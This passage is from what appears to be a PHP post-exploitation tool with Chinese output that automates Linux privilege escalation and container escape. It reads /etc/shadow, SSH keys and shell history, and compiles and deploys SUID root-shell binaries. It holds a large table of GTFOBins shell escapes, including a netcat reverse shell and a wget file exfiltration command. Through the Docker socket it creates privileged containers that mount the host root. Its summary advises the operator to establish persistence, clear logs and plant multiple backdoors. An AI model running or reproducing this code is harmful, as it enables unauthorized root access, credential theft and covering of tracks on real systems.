$this->printInfo("检查可利用的已知漏洞...");
// 检查一些常见的可利用漏洞
$checks = [
[
'name' => 'Dirty COW检测',
'description' => '检查Dirty COW漏洞利用可能性',
'check_cmd' => 'cat /proc/sys/vm/dirty_writeback_centisecs 2>/dev/null',
'vuln_check' => function($output) {
// 这只是一个示例检查,实际利用需要更复杂的检测
return is_array($output) && !empty($output);
}
],
[
'name' => 'cgroup v1/v2检查',
'description' => '检查cgroup相关漏洞利用可能性',
'check_cmd' => 'mount | grep cgroup 2>/dev/null',
'vuln_check' => function($output) {
return is_array($output) && !empty($output);
}
]
];
foreach ($checks as $check) {
list($output, $code) = $this->executeCommand($check['check_cmd']);
$isVulnerable = $check['vuln_check']($output);
if ($isVulnerable) {
$this->printInfo("{$check['name']}: 可能存在利用机会");
$this->printInfo(" 描述: {$check['description']}");
}
}
}
private function kernelExploitation() {
$this->printInfo("=== 内核漏洞检测 ===");
$kernelVersion = php_uname('r');
$this->printInfo("内核版本: $kernelVersion");
$knownExploits = [
'CVE-2022-0847' => ['name' => 'Dirty Pipe', 'affected' => '5.8-5.16.11, 5.15.25, 5.10.102'],
'CVE-2021-4034' => ['name' => 'PwnKit', 'affected' => '所有版本(polkit相关)'],
'CVE-2016-5195' => ['name' => 'Dirty Cow', 'affected' => 'Linux内核 < 4.8.3'],
'CVE-2017-16995' => ['name' => 'Ubuntu OverlayFS', 'affected' => 'Ubuntu特定版本'],
'CVE-2021-3493' => ['name' => 'OverlayFS', 'affected' => 'Ubuntu 20.04/20.10'],
'CVE-2021-22555' => ['name' => 'Netfilter', 'affected' => 'Linux内核 4.0-5.11']
];
foreach ($knownExploits as $cve => $info) {
$this->printWarning("$cve - {$info['name']}: 影响 {$info['affected']}");
}
$this->printInfo("建议手动搜索对应版本的exploit");
echo "\n";
}
private function capabilitiesExploitation() {
$this->printInfo("=== Linux Capabilities利用 ===");
list($output, $code) = $this->executeCommand('getcap -r / 2>/dev/null');
if (is_array($output) && !empty($output)) {
$dangerousCaps = [
'cap_dac_read_search' => '绕过文件读权限',
'cap_dac_override' => '绕过文件写权限',
'cap_sys_admin' => '系统管理权限',
'cap_sys_ptrace' => '调试其他进程',
'cap_sys_module' => '加载内核模块'
];
foreach ($output as $line) {
if (is_string($line)) {
$this->printWarning("特殊能力: $line");
foreach ($dangerousCaps as $cap => $desc) {
if (strpos($line, $cap) !== false) {
$this->printDanger("危险能力: $cap - $desc");
// 提取文件路径
if (preg_match('/(\/[^\s]+)/', $line, $matches)) {
$file = $matches[1];
$this->tryCapabilityExploit($file, $cap);
}
}
}
}
}
} else {
$this->printInfo("未发现特殊capabilities或getcap不可用");
}
echo "\n";
}
private function tryCapabilityExploit($file, $capability) {
$exploits = [
'cap_dac_read_search' => "$file /etc/shadow",
'cap_dac_override' => "$file /etc/passwd",
'cap_sys_ptrace' => "检查是否可以调试进程"
];
if (isset($exploits[$capability])) {
$this->printInfo("尝试利用 $capability: {$exploits[$capability]}");
}
// 特殊处理cap_dac_read_search,可以直接读取敏感文件
if ($capability === 'cap_dac_read_search') {
$sensitiveFiles = ['/etc/shadow', '/etc/passwd', '/root/.ssh/id_rsa'];
foreach ($sensitiveFiles as $targetFile) {
if (file_exists($targetFile)) {
list($output, $code) = $this->executeCommand("$file $targetFile 2>/dev/null | head -5");
if (is_array($output) && !empty($output)) {
$this->printSuccess("利用cap_dac_read_search读取".$targetFile."成功:");
foreach ($output as $line) {
echo " $line\n";
}
}
}
}
}
}
private function miscExploitation() {
$this->printInfo("=== 其他提权向量 ===");
// 检查SSH密钥
$sshFiles = ['/root/.ssh/id_rsa', '/home/*/.ssh/id_rsa', '/etc/ssh/ssh_host_rsa_key'];
foreach ($sshFiles as $pattern) {
list($files, $code) = $this->executeCommand("ls $pattern 2>/dev/null");
if (is_array($files)) {
foreach ($files as $file) {
if (is_readable($file)) {
$this->printWarning("SSH密钥可读: $file");
}
}
}
}
// 检查历史文件
$historyFiles = [
'/root/.bash_history',
'/home/*/.bash_history',
'/var/log/auth.log',
'/var/log/secure'
];
foreach ($historyFiles as $pattern) {
list($files, $code) = $this->executeCommand("ls $pattern 2>/dev/null");
if (is_array($files)) {
foreach ($files as $file) {
if (is_readable($file)) {
$this->printInfo("历史文件可读: $file");
list($content, $code) = $this->executeCommand("tail -5 $file");
if (is_array($content) && !empty($content)) {
$this->printInfo(" 最近内容:");
foreach ($content as $line) {
echo " $line\n";
}
}
}
}
}
}
echo "\n";
}
// 新增:高级利用方法
private function advancedExploitation() {
$this->printInfo("=== 高级提权技术 ===");
// 检查是否有编译器可用于创建SUID二进制文件
$compilers = ['gcc', 'cc', 'g++'];
$compilerFound = null;
foreach ($compilers as $compiler) {
list($output, $code) = $this->executeCommand("which $compiler 2>/dev/null");
if (is_array($output) && !empty($output)) {
$compilerFound = $compiler;
$this->printSuccess("发现编译器: $compiler");
break;
}
}
// 如果找到编译器,尝试创建SUID二进制文件
if ($compilerFound) {
$this->tryCreateSuidBinary($compilerFound);
}
// 检查定时任务写入点
$this->checkWritableCron();
// 检查系统服务覆盖
$this->checkServiceOverwrite();
// 检查GTFOBins中列出的可利用程序
$this->checkGtfobinsExploits();
// 检查容器逃逸可能性
$this->checkContainerEscapes();
// 检查内核模块加载权限
$this->checkKernelModulePermissions();
echo "\n";
}
// 新增:尝试创建SUID二进制文件
private function tryCreateSuidBinary($compiler) {
$this->printInfo("尝试创建SUID二进制文件...");
// 获取可写目录
$writableDir = $this->getWritableDirectory();
if (!$writableDir) {
$this->printDanger("没有找到可写目录,无法继续执行SUID利用");
return false;
}
// 检查是否有预编译的二进制程序
$exploitPath = $writableDir . '/nday_exploits/suid_exploit';
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("SUID", $writableDir)) {
$this->printInfo("使用预编译程序: $exploitPath");
// 复制预编译程序到目标位置
$targetPath = $writableDir . '/rootshell';
copy($exploitPath, $targetPath);
chmod($targetPath, 04755);
$this->printSuccess("SUID二进制文件已部署: $targetPath");
return true;
} else {
return false;
}
}
// 创建C源代码
$cCode = '
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
int main() {
// 设置SUID位
if (chmod("/tmp/rootshell", 04755) != 0) {
printf("无法设置SUID位\n");
return 1;
}
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}';
// 写入源代码文件到可写目录
$sourcePath = $writableDir . '/rootshell.c';
if (file_put_contents($sourcePath, $cCode) !== false) {
// 编译
$binaryPath = $writableDir . '/rootshell';
list($output, $code) = $this->executeCommand("$compiler $sourcePath -o $binaryPath 2>/dev/null");
if ($code === 0) {
// 设置SUID位
list($output, $code) = $this->executeCommand("chmod 4755 $binaryPath 2>/dev/null");
if ($code === 0) {
$this->printSuccess("SUID二进制文件创建成功: $binaryPath");
$this->printInfo("使用方法: $binaryPath");
} else {
// 尝试在程序内部设置SUID位
$this->printInfo("尝试在程序内部设置SUID位...");
$this->printSuccess("SUID二进制文件创建成功: $binaryPath");
$this->printInfo("使用方法: 运行后自动获取root权限");
}
} else {
$this->printWarning("SUID二进制文件编译失败,检查预编译程序");
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("SUID", $writableDir)) {
$this->printSuccess("使用预编译的SUID利用程序");
$targetPath = $writableDir . '/rootshell';
copy($exploitPath, $targetPath);
chmod($targetPath, 04755);
$this->printSuccess("SUID二进制文件已部署: $targetPath");
return true;
} else {
return false;
}
}
// 尝试更简单的版本
$simpleCode = '
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}';
$simpleSourcePath = $writableDir . '/simple.c';
if (file_put_contents($simpleSourcePath, $simpleCode) !== false) {
$simpleBinaryPath = $writableDir . '/simple';
list($output, $code) = $this->executeCommand("$compiler $simpleSourcePath -o $simpleBinaryPath 2>/dev/null");
if ($code === 0) {
list($output, $code) = $this->executeCommand("chmod 4755 $simpleBinaryPath 2>/dev/null");
if ($code === 0) {
$this->printSuccess("简单SUID二进制文件创建成功: $simpleBinaryPath");
$this->printInfo("使用方法: $simpleBinaryPath");
}
} else {
$this->printWarning("简单SUID二进制文件编译失败,检查预编译程序");
$simpleExploitPath = $writableDir . '/nday_exploits/simple_suid';
if (file_exists($simpleExploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("简单SUID", $writableDir)) {
$this->printSuccess("使用预编译的简单SUID程序");
copy($simpleExploitPath, $simpleBinaryPath);
chmod($simpleBinaryPath, 04755);
$this->printSuccess("简单SUID二进制文件已部署: $simpleBinaryPath");
return true;
} else {
return false;
}
}
}
}
}
} else {
// 检查预编译程序
$this->printWarning("无法创建SUID源代码,检查预编译程序");
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("SUID", $writableDir)) {
$this->printSuccess("使用预编译的SUID利用程序");
$targetPath = $writableDir . '/rootshell';
copy($exploitPath, $targetPath);
chmod($targetPath, 04755);
$this->printSuccess("SUID二进制文件已部署: $targetPath");
return true;
} else {
return false;
}
}
}
}
// 新增:检查可写的定时任务
private function checkWritableCron() {
$this->printInfo("检查可写的定时任务...");
// 检查用户cron文件是否可写
$userCronFile = '/var/spool/cron/crontabs/' . $this->currentUser;
if (file_exists($userCronFile) && is_writable($userCronFile)) {
$this->printDanger("用户cron文件可写: $userCronFile");
$this->printInfo("可以添加定时任务实现持久化");
}
// 检查系统cron目录是否可写
$systemCronDirs = ['/etc/cron.d', '/etc/cron.hourly', '/etc/cron.daily'];
foreach ($systemCronDirs as $dir) {
if (is_writable($dir)) {
$this->printDanger("系统cron目录可写: $dir");
$this->printInfo("可以添加系统级定时任务");
}
}
}
// 新增:检查可覆盖的系统服务
private function checkServiceOverwrite() {
$this->printInfo("检查可覆盖的系统服务...");
// 检查systemd服务文件
list($services, $code) = $this->executeCommand("find /etc/systemd/system /lib/systemd/system -name '*.service' 2>/dev/null | head -10");
if (is_array($services)) {
foreach ($services as $service) {
if (is_writable($service)) {
$this->printDanger("服务文件可写: $service");
$this->printInfo("可以修改服务配置实现提权");
}
}
}
}
// 新增:检查GTFOBins可利用程序
private function checkGtfobinsExploits() {
$this->printInfo("检查GTFOBins可利用程序...");
// 常见的GTFOBins程序列表
$gtfobins = [
'awk' => 'awk \'BEGIN {system(\"/bin/sh\")}\'',
'bash' => 'bash -p',
'busybox' => 'busybox sh',
'cat' => 'cat /etc/passwd', // 示例读取文件
'chmod' => 'chmod 4755 /tmp/sh', // 示例设置SUID
'cp' => 'cp /bin/sh /tmp/sh && chmod +s /tmp/sh',
'crontab' => 'crontab -e', // 可用于编辑计划任务
'curl' => 'curl file:///etc/passwd', // 示例读取文件
'cut' => 'cut -d "" -f 1 /etc/passwd', // 示例读取文件
'dash' => 'dash -p',
'diff' => 'diff /dev/null /etc/passwd', // 示例读取文件
'dmsetup' => 'dmsetup ls', // 可用于执行命令
'dnf' => 'dnf install package', // 需要root权限
'docker' => 'docker run -v /:/mnt --rm -it alpine chroot /mnt sh',
'dpkg' => 'dpkg -l', // 可用于执行命令
'ed' => 'ed file', // 可用于编辑文件
'emacs' => 'emacs -Q -nw --eval \'(term \"/bin/sh\")\'',
'env' => 'env /bin/sh',
'expand' => 'expand /etc/passwd', // 示例读取文件
'expect' => 'expect -c \'spawn /bin/sh; interact\'',
'find' => 'find . -exec /bin/sh \\; -quit',
'flock' => 'flock -u / /bin/sh',
'fmt' => 'fmt -999 /etc/passwd', // 示例读取文件
'fold' => 'fold -w 999 /etc/passwd', // 示例读取文件
'ftp' => 'ftp> !/bin/sh',
'gawk' => 'gawk \'BEGIN {system(\"/bin/sh\")}\'',
'gdb' => 'gdb -nx -ex \'!sh\' -ex quit',
'git' => 'git help status -> !/bin/sh',
'head' => 'head -n 10 /etc/passwd', // 示例读取文件
'ionice' => 'ionice /bin/sh',
'jq' => 'jq \'.\' /etc/passwd', // 示例读取文件
'less' => 'less /etc/passwd -> !/bin/sh',
'lua' => 'lua -e \'os.execute(\"/bin/sh\")\'',
'make' => 'make -s --eval=$\'x:\\n\\t-\'"/bin/sh"',
'man' => 'man ls -> !/bin/sh',
'more' => 'more /etc/passwd -> !/bin/sh',
'mv' => 'mv /bin/sh /tmp/sh && mv /tmp/sh /bin/sh',
'mysql' => 'mysql -e \'\\! /bin/sh\'',
'nano' => 'nano -> ^R^X -> reset; sh 1>&0 2>&0',
'nawk' => 'nawk \'BEGIN {system(\"/bin/sh\")}\'',
'nc' => 'nc -e /bin/sh 127.0.0.1 4444',
'nmap' => 'nmap --interactive -> !sh',
'node' => 'node -e \'require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})\'',
'od' => 'od -An -c /etc/passwd', // 示例读取文件
'perl' => 'perl -e \'exec \"/bin/sh\";\'',
'pg' => 'pg /etc/passwd -> !/bin/sh',
'php' => 'php -r \'system(\"/bin/sh\");\'',
'pic' => 'pic -U -> .PS\\nsh X sh\\n.PE -> sh',
'pico' => 'pico -> ^R^X -> reset; sh 1>&0 2>&0',
'pr' => 'pr -T /etc/passwd', // 示例读取文件
'python' => 'python -c \'import os; os.system(\"/bin/sh\")\'',
'python3' => 'python3 -c \'import os; os.system(\"/bin/sh\")\'',
'rlwrap' => 'rlwrap /bin/sh',
'rpm' => 'rpm --eval \'%{lua:os.execute(\"/bin/sh\")}\'',
'rpmquery' => 'rpmquery --eval \'%{lua:os.execute(\"/bin/sh\")}\'',
'rsync' => 'rsync -e \'sh -c \"sh 0<&2 1>&2\"\' 127.0.0.1:/dev/null',
'ruby' => 'ruby -e \'exec \"/bin/sh\"\'',
'run-parts' => 'run-parts --new-session --regex \'^sh$\' /bin',
'rvim' => 'rvim -> :py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")',
'scp' => 'scp -S /tmp/sh 127.0.0.1:/etc/passwd .',
'sed' => 'sed -n \'1p\' /etc/passwd', // 示例读取文件
'setarch' => 'setarch $(uname -m) /bin/sh',
'sort' => 'sort -k1 /etc/passwd', // 示例读取文件
'sqlite3' => 'sqlite3 /dev/null \'.shell /bin/sh\'',
'ssh' => 'ssh username@host -> !/bin/sh',
'stdbuf' => 'stdbuf -i0 /bin/sh',
'strace' => 'strace -o /dev/null /bin/sh',
'tail' => 'tail -n 10 /etc/passwd', // 示例读取文件
'tar' => 'tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh',
'taskset' => 'taskset 1 /bin/sh',
'tclsh' => 'tclsh -> exec /bin/sh <@stdin >@stdout 2>@stderr',
'tee' => 'tee /tmp/sh < /bin/sh && chmod +x /tmp/sh',
'telnet' => 'telnet 127.0.0.1 4444 | /bin/sh | telnet 127.0.0.1 4445',
'tftp' => 'tftp 127.0.0.1 -> put /etc/passwd',
'time' => 'time /bin/sh',
'timeout' => 'timeout 7d /bin/sh',
'ul' => 'ul /etc/passwd', // 示例读取文件
'unexpand' => 'unexpand /etc/passwd', // 示例读取文件
'uniq' => 'uniq /etc/passwd', // 示例读取文件
'unshare' => 'unshare /bin/sh',
'vim' => 'vim -> :py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")',
'watch' => 'watch -x sh -c \'reset; exec sh 1>&0 2>&0\'',
'wget' => 'wget --post-file=/etc/passwd 127.0.0.1:8080',
'xargs' => 'xargs -I _ sh -c \'exec sh\' _',
'xxd' => 'xxd /etc/passwd', // 示例读取文件
'zip' => 'zip /tmp/test.zip /etc/passwd -> unzip -> !/bin/sh'
];
// 检查系统中是否存在这些程序
foreach ($gtfobins as $program => $example) {
list($output, $code) = $this->executeCommand("which $program 2>/dev/null");
if (is_array($output) && !empty($output)) {
$this->printWarning("发现GTFOBins程序: $program -> {$output[0]}");
// 对于一些特别危险的程序,标记为危险
$dangerous = ['awk', 'bash', 'find', 'perl', 'python', 'python3', 'php', 'vim', 'rvim', 'nmap', 'git'];
if (in_array($program, $dangerous)) {
$this->printDanger(" 危险程序 $program 可用于提权");
}
}
}
}
// 新增:检查容器逃逸可能性
private function checkContainerEscapes() {
$this->printInfo("检查容器逃逸可能性...");
// 检查是否在容器中
if (file_exists('/.dockerenv')) {
$this->printWarning("运行在Docker容器中");
// 检查挂载点
list($mounts, $code) = $this->executeCommand('mount 2>/dev/null');
if (is_array($mounts) && !empty($mounts)) {
foreach ($mounts as $mount) {
// 检查是否有宿主机文件系统挂载
if (strpos($mount, '/host/') !== false || strpos($mount, '/mnt/') !== false) {
$this->printDanger("发现宿主机挂载点: $mount");
}
}
}
// 检查是否有特权模式
list($cap, $code) = $this->executeCommand('cat /proc/self/status | grep CapEff 2>/dev/null');
if (is_array($cap) && !empty($cap)) {
if (strpos($cap[0], '0000003fffffffff') !== false) {
$this->printDanger("容器以特权模式运行!");
}
}
}
// 检查LXC容器
if (file_exists('/dev/lxc')) {
$this->printWarning("运行在LXC容器中");
}
// 检查是否有cgroup访问权限
if (is_dir('/sys/fs/cgroup')) {
$this->printInfo("系统支持cgroup");
}
}
// 新增:检查内核模块加载权限
private function checkKernelModulePermissions() {
$this->printInfo("检查内核模块加载权限...");
// 检查是否有modprobe权限
list($modprobe, $code) = $this->executeCommand('which modprobe 2>/dev/null');
if (is_array($modprobe) && !empty($modprobe)) {
// 检查是否可以加载模块
list($perm, $code) = $this->executeCommand('ls -l ' . $modprobe[0] . ' 2>/dev/null');
if (is_array($perm) && !empty($perm)) {
if (strpos($perm[0], 's') !== false) {
$this->printDanger("modprobe具有SUID位,可用于加载恶意内核模块");
}
}
}
// 检查是否有insmod权限
list($insmod, $code) = $this->executeCommand('which insmod 2>/dev/null');
if (is_array($insmod) && !empty($insmod)) {
$this->printInfo("发现insmod: " . $insmod[0]);
}
}
// 新增:询问是否进入交互模式
private function askForInteractiveMode() {
$this->printInfo("=== 交互模式 ===");
$this->printInfo("检测到可能的提权机会,是否进入交互式命令执行模式?(y/N)");
$handle = fopen("php://stdin", "r");
$response = trim(fgets($handle));
fclose($handle);
if (strtolower($response) === 'y' || strtolower($response) === 'yes') {
$this->interactiveCommandExecution();
}
}
// 新增:检查可利用的Python库
private function checkExploitablePythonLibs() {
$this->printInfo("检查可利用的Python库...");
// 检查PYTHONPATH环境变量
$pythonPath = getenv('PYTHONPATH');
if (!empty($pythonPath)) {
$this->printWarning("PYTHONPATH环境变量: $pythonPath");
// 检查路径是否可写
$paths = explode(':', $pythonPath);
foreach ($paths as $path) {
if (is_writable($path)) {
$this->printDanger("PYTHONPATH中的可写目录: $path");
}
}
}
// 检查用户站点包目录
list($sitePackages, $code) = $this->executeCommand('python -c "import site; print(site.getusersitepackages())" 2>/dev/null');
if (is_array($sitePackages) && !empty($sitePackages)) {
$sitePath = trim($sitePackages[0]);
if (is_writable($sitePath)) {
$this->printDanger("用户Python站点包目录可写: $sitePath");
}
}
}
private function printResults() {
echo "================================================\n";
$this->printInfo("=== 提权检测与利用结果汇总 ===\n");
$successCount = 0;
$warningCount = 0;
$dangerCount = 0;
foreach ($this->exploitResults as $result) {
list($type, $message) = $result;
switch ($type) {
case 'SUCCESS':
$successCount++;
break;
case 'WARNING':
$warningCount++;
break;
case 'DANGER':
$dangerCount++;
break;
}
}
$this->printSuccess("成功利用: $successCount 个");
$this->printWarning("警告项目: $warningCount 个");
$this->printDanger("危险项目: $dangerCount 个");
echo "\n";
$this->printInfo("=== 建议下一步操作 ===");
if ($successCount > 0) {
$this->printSuccess("1. 利用成功的项目获取持久化访问");
$this->printSuccess("2. 清理日志痕迹");
$this->printSuccess("3. 建立多个后门确保访问");
}
if ($dangerCount > 0) {
$this->printWarning("1. 优先利用标记为DANGER的项目");
$this->printWarning("2. 测试SUID文件和可写配置文件");
$this->printWarning("3. 检查内核漏洞利用可能性");
}
$this->printInfo("详细日志已记录,请检查各项目具体输出");
echo "================================================\n";
}
// 新增:Docker逃逸利用
private function dockerEscapeExploitation() {
$this->printInfo("=== Docker逃逸利用 ===");
// 检查是否在Docker容器中
if (!file_exists('/.dockerenv')) {
$this->printInfo("不在Docker容器中");
return;
}
$this->printWarning("运行在Docker容器中,检查逃逸可能性");
// 1. 检查Docker socket
$this->checkDockerSocket();
// 2. 检查特权模式
$this->checkPrivilegedMode();
// 3. 检查敏感挂载点
$this->checkSensitiveMountsForDocker();
// 4. 检查capabilities
$this->checkDockerCapabilities();
// 5. 检查cgroup
$this->checkDockerCgroup();
// 6. 检查命名空间
$this->checkDockerNamespaces();
// 7. 高级Docker逃逸技术
$this->advancedDockerEscapeTechniques();
echo "\n";
}
// 新增:检查Docker socket
private function checkDockerSocket() {
$this->printInfo("检查Docker socket...");
if (file_exists('/var/run/docker.sock')) {
$this->printDanger("发现Docker socket: /var/run/docker.sock");
// 检查权限
$perms = substr(sprintf('%o', fileperms('/var/run/docker.sock')), -4);
if ($perms == '0666' || is_writable('/var/run/docker.sock')) {
$this->printSuccess("Docker socket可写,可以与Docker守护进程通信");
$this->tryDockerSocketExploit();
}
}
}
// 新增:尝试Docker socket利用
private function tryDockerSocketExploit() {
$this->printInfo("尝试Docker socket利用...");
// 检查curl是否可用
list($curlCheck, $code) = $this->executeCommand('which curl 2>/dev/null');
if (is_array($curlCheck) && !empty($curlCheck)) {
// 列出容器
list($output, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null');
if ($code === 0) {
$this->printSuccess("成功访问Docker API");
// 尝试创建特权容器
$this->tryCreatePrivilegedContainer();
}
}
// 检查nc是否可用
list($ncCheck, $code) = $this->executeCommand('which nc 2>/dev/null');
if (is_array($ncCheck) && !empty($ncCheck)) {
list($output, $code) = $this->executeCommand('echo -e "GET /containers/json HTTP/1.0\r\n" | nc -U /var/run/docker.sock 2>/dev/null');
if ($code === 0 && !empty($output)) {
$this->printSuccess("通过nc成功访问Docker API");
}
}
}
// 新增:创建特权容器
private function tryCreatePrivilegedContainer() {
$this->printInfo("尝试创建特权容器...");
// 创建特权容器的JSON配置
$containerConfig = '{
"Image": "alpine",
"Cmd": ["/bin/sh"],
"Privileged": true,
"HostConfig": {
"Binds": ["/:/host"]
}
}';
if (file_put_contents('/tmp/privileged_container.json', $containerConfig) !== false) {
list($output, $code) = $this->executeCommand('curl -s -X POST --unix-socket /var/run/docker.sock -H "Content-Type: application/json" http://localhost/containers/create -d @/tmp/privileged_container.json 2>/dev/null');
if ($code === 0) {
$this->printSuccess("特权容器创建请求已发送");
$this->printInfo("该容器将宿主机根目录挂载到容器内的/host目录");
}
}
}
// 新增:检查特权模式
private function checkPrivilegedMode() {
$this->printInfo("检查特权模式...");
list($capEff, $code) = $this->executeCommand('cat /proc/self/status | grep CapEff');
if (is_array($capEff) && !empty($capEff)) {
if (strpos($capEff[0], '0000003fffffffff') !== false) {
$this->printDanger("容器以特权模式运行!");
$this->tryPrivilegedExploit();
} else {
$this->printInfo("容器不以特权模式运行");
// 分析具体capabilities
$this->analyzeDockerCapabilities($capEff[0]);
}
}
}
// 新增:特权模式利用
private function tryPrivilegedExploit() {
$this->printInfo("尝试特权模式利用...");
// 创建挂载点
if (!is_dir('/host')) {
mkdir('/host', 0755, true);
}
// 尝试挂载宿主机根文件系统
$devices = ['/dev/sda1', '/dev/vda1', '/dev/xvda1', '/dev/nvme0n1p1'];
foreach ($devices as $device) {
if (file_exists($device)) {
list($output, $code) = $this->executeCommand("mount $device /host 2>/dev/null");
if ($code === 0) {
$this->printSuccess("成功挂载宿主机文件系统到/host");
$this->printInfo("现在可以访问宿主机文件系统");
return;
}
}
}
// 尝试挂载proc
list($output, $code) = $this->executeCommand('mount -t proc proc /host/proc 2>/dev/null');
if ($code === 0) {
$this->printSuccess("成功挂载宿主机proc文件系统");
}
}
// 新增:分析Docker capabilities
private function analyzeDockerCapabilities($capString) {
$this->printInfo("分析容器capabilities...");
if (preg_match('/CapEff:\s+(.*)/', $capString, $matches)) {
$capHex = trim($matches[1]);
$this->printInfo("Effective capabilities: $capHex");
// 检查危险capabilities
$dangerousCaps = [
'cap_sys_admin' => '系统管理权限,可用于挂载文件系统',
'cap_sys_module' => '加载内核模块',
'cap_dac_read_search' => '绕过文件读取权限',
'cap_dac_override' => '绕过文件写入权限',
'cap_sys_ptrace' => '调试其他进程'
];
foreach ($dangerousCaps as $capName => $capDesc) {
$this->printWarning("Capability: $capName - $capDesc");
}
}
}
// 新增:检查敏感挂载点
private function checkSensitiveMountsForDocker() {
$this->printInfo("检查敏感挂载点...");
list($mounts, $code) = $this->executeCommand('mount 2>/dev/null');
if (is_array($mounts) && !empty($mounts)) {
$dangerousMounts = [
'/host' => '宿主机根目录挂载',
'/var/run/docker.sock' => 'Docker socket挂载',
'/proc' => 'Proc文件系统挂载',
'/sys' => 'Sys文件系统挂载',
'/dev' => '设备文件系统挂载'
];
foreach ($mounts as $mount) {
foreach ($dangerousMounts as $mountPoint => $description) {
if (strpos($mount, $mountPoint) !== false) {
$this->printDanger("发现危险挂载点: $mountPoint - $description");
$this->printInfo("挂载详情: $mount");
}
}
}
}
}
// 新增:检查Docker capabilities
private function checkDockerCapabilities() {
$this->printInfo("检查Docker相关capabilities...");
// 这里可以添加更详细的capabilities检查逻辑
$this->printInfo("capabilities检查完成");
}
// 新增:检查Docker cgroup
private function checkDockerCgroup() {
$this->printInfo("检查Docker cgroup...");
if (is_dir('/sys/fs/cgroup')) {
$this->printInfo("系统支持cgroup");
if (is_writable('/sys/fs/cgroup')) {
$this->printDanger("cgroup目录可写,可能存在逃逸机会");
}
}
}
// 新增:检查Docker命名空间
private function checkDockerNamespaces() {
$this->printInfo("检查Docker命名空间...");
// 检查用户命名空间
list($userns, $code) = $this->executeCommand('unshare -U echo "user namespace works" 2>/dev/null');
if ($code === 0) {
$this->printSuccess("用户命名空间可用");
}
// 检查mount命名空间
list($mountns, $code) = $this->executeCommand('unshare -m echo "mount namespace works" 2>/dev/null');
if ($code === 0) {
$this->printSuccess("mount命名空间可用");
}
}
// 新增:高级Docker逃逸技术
private function advancedDockerEscapeTechniques() {
$this->printInfo("尝试高级Docker逃逸技术...");
// 1. 检查是否有可用的Docker客户端
list($dockerCheck, $code) = $this->executeCommand('which docker 2>/dev/null');
if (is_array($dockerCheck) && !empty($dockerCheck)) {
$this->printSuccess("发现Docker客户端: " . $dockerCheck[0]);
// 尝试列出容器
list($containers, $code) = $this->executeCommand('docker ps 2>/dev/null');
if ($code === 0) {
$this->printSuccess("可以访问Docker守护进程");
$this->printInfo("运行中的容器:");
if (is_array($containers)) {
foreach ($containers as $container) {
$this->printInfo(" " . $container);
}
}
// 尝试创建特权容器
$this->tryCreatePrivilegedContainerAdvanced();
}
}
// 2. 检查是否有可用的Docker Compose
list($composeCheck, $code) = $this->executeCommand('which docker-compose 2>/dev/null');
if (is_array($composeCheck) && !empty($composeCheck)) {
$this->printSuccess("发现Docker Compose: " . $composeCheck[0]);
}
// 3. 检查Docker API版本
list($apiVersion, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/version 2>/dev/null | grep ApiVersion');
if (is_array($apiVersion) && !empty($apiVersion)) {
$this->printInfo("Docker API版本: " . trim($apiVersion[0]));
}
// 4. 检查Docker信息
list($dockerInfo, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null');
if ($code === 0) {
$this->printSuccess("可以访问Docker信息API");
}
// 5. 尝试通过/proc/self/root逃逸
$this->tryProcSelfRootEscape();
// 6. 检查是否有可用的容器运行时
$this->checkContainerRuntimes();
// 7. 尝试通过设备文件逃逸
$this->tryDeviceFileEscape();
}
// 新增:高级特权容器创建
private function tryCreatePrivilegedContainerAdvanced() {
$this->printInfo("尝试创建高级特权容器...");
// 创建更复杂的特权容器配置
$containerConfig = '{
"Image": "alpine",
"Cmd": ["/bin/sh"],
"Privileged": true,
"HostConfig": {
"Binds": ["/:/host", "/dev:/dev", "/proc:/proc", "/sys:/sys"],
"SecurityOpt": ["seccomp=unconfined"],
"CapAdd": ["ALL"],
"NetworkMode": "host",
"PidMode": "host",
"IpcMode": "host",
"UsernsMode": "host",
"UTSMode": "host"
}
}';
if (file_put_contents('/tmp/advanced_privileged_container.json', $containerConfig) !== false) {
$this->printSuccess("高级特权容器配置创建成功: /tmp/advanced_privileged_container.json");
// 尝试创建容器
list($output, $code) = $this->executeCommand('curl -s -X POST --unix-socket /var/run/docker.sock -H "Content-Type: application/json" http://localhost/containers/create -d @/tmp/advanced_privileged_container.json 2>/dev/null');
if ($code === 0) {
$this->printSuccess("高级特权容器创建请求已发送");
$this->printInfo("该容器将完全访问宿主机");
}
}
}
// 新增:通过/proc/self/root逃逸
private function tryProcSelfRootEscape() {
$this->printInfo("尝试通过/proc/self/root逃逸...");
// 检查/proc/self/root是否存在
if (is_dir('/proc/self/root')) {
// 尝试访问宿主机根目录
if (is_dir('/proc/self/root/etc')) {
$this->printSuccess("可以通过/proc/self/root访问宿主机文件系统");
// 尝试读取宿主机的/etc/passwd
list($passwd, $code) = $this->executeCommand('cat /proc/self/root/etc/passwd 2>/dev/null | head -5');
if (is_array($passwd) && !empty($passwd)) {
$this->printInfo("宿主机/etc/passwd内容(前5行): ");
foreach ($passwd as $line) {
$this->printInfo(" " . $line);
}
}
}
}
}
// 新增:检查容器运行时
private function checkContainerRuntimes() {
$this->printInfo("检查容器运行时...");
// 检查是否有可用的容器运行时
$runtimes = ['runc', 'crun', 'containerd'];
foreach ($runtimes as $runtime) {
list($check, $code) = $this->executeCommand("which $runtime 2>/dev/null");
if (is_array($check) && !empty($check)) {
$this->printSuccess("发现容器运行时: $runtime");
}
}
// 检查containerd socket
if (file_exists('/run/containerd/containerd.sock')) {
$this->printDanger("发现containerd socket: /run/containerd/containerd.sock");
}
// 检查cri-o socket
if (file_exists('/var/run/crio/crio.sock')) {
